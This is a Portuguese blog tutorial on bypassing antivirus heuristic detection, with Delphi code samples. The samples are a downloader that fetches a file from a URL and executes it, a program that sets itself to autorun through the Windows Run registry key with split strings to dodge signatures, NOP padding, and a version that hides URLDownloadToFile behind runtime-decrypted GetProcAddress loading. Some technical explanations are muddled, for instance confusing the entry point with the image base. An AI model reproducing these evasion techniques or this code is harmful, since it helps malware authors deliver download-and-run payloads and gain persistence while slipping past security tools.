Explicarei com modos fáceis, intermediários e difíceis. A cada método, explicará, como funciona, o porquê de usar o método, como usa-lo e dará um exemplo. Tornando assim, muuuuuuuuito fácil de entender!
Lembrando... 100% By Kingcaio - http://hazardsource.com/forum/
Então... Let's Code!
Como funciona a Heurística?
Um "Heuristic Scan", funciona, scaneando certas APIs que muitos malwares usam. Por exemplo, a função UrlDownloadToFile();. Ela é usada para salvar um arquivo da internet, para seu computador. Ou seja, faz o download do arquivo para seu computador. Isso é muito usado por Downloaders.
Bypassando a Heurística - Modo Fácil
- Alterando o "EntryPoint"
- O que é? O EntryPoint é um endereço, que define o endereço base de mapeação na memória.
- Porquê? O porquê de alterar o entrypoit, é que muitos AVs, para serem rápidos e gastarem pouca memória, scaneiam apenas o PE Header (cabeçalho) do executável. Então, alterando ele, automaticamente alterará o PE Header também.
- Como? Para alterar o EntryPoint, é apenas definir {$IMAGEBASE Número} no seu código. Aonde número, é um valor que você define, e pode variar de $00010000 até $7FFFFFFF. O valor padrão é $00400000
- Exemplo:
- Dividindo as Strings principais
- O que é? Dividir as Strings principais, consiste em dividir uma String, que pode ser usada pelo AV para detectar seu arquivo.
- Porquê? Divindo-as, dificulta a vida dos AVs porquê quando o programa for compilado, elas não vão ficar "uma ao lado da outra".
- Como? Simples! É apenas pegar a String, e literalmente separá-la em diversas.
- Exemplo:
program HazardDownloader;
{$IMAGEBASE $0026589541}
uses
Windows, ShellApi, UrlMon;
const
URL = 'http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png';
Arquivo = 'C:\hazardsource.png';
begin
URLDownloadToFile(nil, URL, Arquivo, 0, nil);
ShellExecute(0, 'open', Arquivo, nil, nil, SW_SHOWNORMAL);
end.
program HazardAutoRun;
uses
Windows;
const
Chave = 'SOFT'+'WARE\Mi'+'cros'+'oft\Wi'+'ndows\'+'Current'+'Vers'+'ion\Run';
Nome = 'HazardAutoRun';
var
RegKey: HKey;
Valor: String;
begin
Valor:=ParamStr(0);
RegCreateKey(HKEY_LOCAL_MACHINE, Chave, RegKey);
RegSetValueEx(RegKey, Nome, 0, REG_EXPAND_SZ, PChar(Valor), Length(Valor));
RegCloseKey(RegKey);
end.
Bypassando a Heurística - Modo Intermediário
- Inserindo NOPs
- O que é? NOP, é uma instrução Assembly para a família Intel x86 CPU. Deriva de "No OPeration", ou seja, sem operação.
- Porquê? Inserir NOPs, dificulta um pouco a heurística dos AVs, porquê "separa" as instruções.
- Como? É apenas abrir um asm e inserir o NOP nele entre, ou no começo, das funções que possam serem detectadas.
- Exemplo:
program HazardDownloaderNOP;
uses
Windows, ShellApi, UrlMon;
const
URL = 'http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png';
Arquivo = 'C:\hazardsource.png';
begin
URLDownloadToFile(nil, URL, Arquivo, 0, nil);
asm
nop
end;
ShellExecute(0, 'open', Arquivo, nil, nil, SW_SHOWNORMAL);
end.
Bypassando a Heurística - Modo Difícil
- Carregando funções com GetProcAddress(); Encriptada
- O que é? Carregar funções com a função GetProcAddress(); encriptada, baseia-se na idéia de carregar a função dinamicamente, e o nome da função é desencriptado em run-time.
- Porquê? Assim, se o AV scanear apenas o arquivo, ele não achará nada. Apenas achará se ele scanear a memória do processo. Deixando assim, um pouquinho mais difícil para os AVs.
- Como? É apenas carregar a função com o a função GetProcAddres();, e usar algum tipo de encriptação, para encriptar o nome da função, e na hora de chamar, desencriptar a string.
- Exemplo:
program HazardDownloaderCrypted;
uses
Windows, ShellApi, URLMon;
type
TDownload2File=function(Caller: IUnknown; URL: PChar; FileName: PChar;
Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;
function Encriptar(Str: String): String;
const
Key='q8b2x74h851xk';
var
Y, Z: Integer;
B: Byte;
begin
Z:=1;
for Y:=1 to Length(Str) do
begin
B:=(Ord(Str[Y]) and $0f) xor (Ord(Key[Z]) and $0f);
B:=B xor 10;
Str[Y]:=Char((Ord(Str[Y]) and $f0)+B);
Inc(Z);
if Z>Length(Key) then Z:=1;
end;
Result:=Str;
end;
const
URL = 'http://www.hazardsource.com/forum/styles/Arrow/imageset/site_logo.png';
Arquivo = 'C:\hazardsource.png';
var
Download2File: TDownload2File;
begin
Download2File:=GetProcAddress(LoadLibrary('URLMON.DLL'), PChar(Encriptar('^PDLmz`nmnoVnMkdmC')));
Download2File(nil, URL, Arquivo, 0, nil);
ShellExecute(0, 'open', Arquivo, nil, nil, SW_SHOWNORMAL);
end.
Bom... é isso... espero que tenham gostado...
0 comentários:
Postar um comentário